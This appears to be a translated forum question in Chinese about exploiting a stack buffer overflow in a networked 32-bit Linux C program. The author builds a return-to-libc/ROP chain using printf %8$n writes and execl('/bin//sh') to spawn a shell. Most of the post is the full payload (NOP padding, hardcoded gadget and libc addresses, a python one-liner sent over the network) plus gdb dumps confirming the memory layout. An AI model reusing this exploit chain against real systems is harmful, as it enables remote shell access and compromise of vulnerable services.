在32位Linux操作系统上运行的C程序容易受到堆栈缓冲区溢出的影响。通过网络将攻击性代码发送到易受攻击的程序后,系统将生成核心文件。 ASLR已禁用:
# echo 0 > /proc/sys/kernel/randomize_va_space
分段错误发生在一个真实的已知漏洞函数中,我们将其称为function_1。backtrace.txt报告以下行:
#3 0x0819daa7 in function_1
在gdb中,我进入第3帧以检查内存:
(gdb) frame 3
想知道有多少字节可以到达返回地址。经过一些测试,我可以进入RET地址。通过用524 NOP加4 * A填充缓冲区。 A会覆盖保存的ebp,以验证这一点:
(gdb) x/x $ebp
0xb6256888: 0x41414141
在这一点上,我想通过写入具有一些有用地址(ROP)的内存来绕过不可执行的堆栈。简而言之,我想以这种方式填充缓冲区:
524NOP | 4A | addr.printf() | addr.POP\RET | addr.%8$n | addr.printf() | addr.POP\RET | addr.%8$n | addr.execl() | addr.exit() | addr./bin//sh | addr./bin//sh | addr.at this point (ebp+44) | string /bin//sh (takes 8byte memory) | addr.at this point (ebp+56) | string %8$n (takes 4 byte memory) | \x00
通过网络发送此代码:
"$(python -c 'print
524*"\x90" +
4*"A" +
"\x10\xa4\xc5\xb7" + ;addr.printf()
"\xdd\x91\x06\x08" + ;addr.POP\RET
"\xc4\x68\x25\xb6" + ;addr.%8$n
"\x10\xa4\xc5\xb7" + ;addr.printf()
"\xdd\x91\x06\x08" + ;addr.POP\RET
"\xc4\x68\x25\xb6" + ;addr.%8$n
"\x30\x59\xcc\xb7" + ;addr.execl()
"\x60\x02\xc4\xb7" + ;addr.exit()
"\xb8\x68\x25\xb6" + ;addr./bin//sh
"\xb8\x68\x25\xb6" + ;addr./bin//sh
"\xb4\x68\x25\xb6" + ;ebp+44
"\x2f\x62\x69\x6e\x2f\x2f\x73\x68" + ;string /bin//sh
"\xc0\x68\x25\xb6" + ;ebp+56
"\x25\x38\x24\x6e" + ;string %8$n
"\x00\x00\x00\x00"')"
使用gdb检查内存:
(gdb) x/wx $ebp+4
0xb625688c: 0xb7c5a410 ;addr of printf (taken from p printf)
(gdb) x/wx $ebp+8
0xb6256890: 0x080691dd ;addr of POP/RET (see below)
(gdb) x/wx $ebp+12
0xb6256894: 0xb62568c4 ;addr of string %8$n
(gdb) x/s 0xb62568c4
0xb62568c4: "%8$n"
(gdb) x/wx $ebp+16
0xb6256898: 0xb7c5a410
(gdb) x/wx $ebp+20
0xb625689c: 0x080691dd
(gdb) x/wx $ebp+24
0xb62568a0: 0xb62568c4
(gdb) x/wx $ebp+28
0xb62568a4: 0xb7cc5930 ;addr of execl (taken from p execl)
(gdb) x/wx $ebp+32
0xb62568a8: 0xb7c40260 ;addr of exit (taken from p exit)
(gdb) x/wx $ebp+36
0xb62568ac: 0xb62568b8 ;addr of string /bin//sh
(gdb) x/s 0xb62568b8
0xb62568b8: "/bin//sh\300h%\266%8$n"
(gdb) x/wx $ebp+40
0xb62568b0: 0xb62568b8 ;addr of string /bin//sh
(gdb) x/wx $ebp+44
0xb62568b4: 0xb62568b4 ;addr of here (ebp+44)
(gdb) x/s $ebp+48
0xb62568b8: "/bin//sh\300h%\266%8$n"
(gdb) x/wx $ebp+56
0xb62568c0: 0xb62568c0 ;addr of here (ebp+56)
(gdb) x/s $ebp+60
0xb62568c4: "%8$n"
我从程序的功能之一获取POP / RET的地址,比如说func2:
(gdb) disas func2
...
0x080691dd <+642>: pop %ebp
0x080691de <+643>: ret
第一个printf及其参数旨在在ebp + 44处写入NULL字节,我需要NULL作为execl()的第三个参数。
第二个printf及其参数旨在在ebp + 56处写入NULL字节,我需要NULL来终止/ bin // sh字符串。
我的问题是:
1)这是将NULL字节写入execl()的第三个参数的正确方法吗?
2)这是写入NULL字节以终止写入内存的字符串(在这种情况下终止字符串/ bin // sh的方法)的正确方法吗?
3)printf及其参数(%8 $ n的地址)代表“在printf的参数后8 DoubleWORD处找到的内存地址中写入NULL字节”?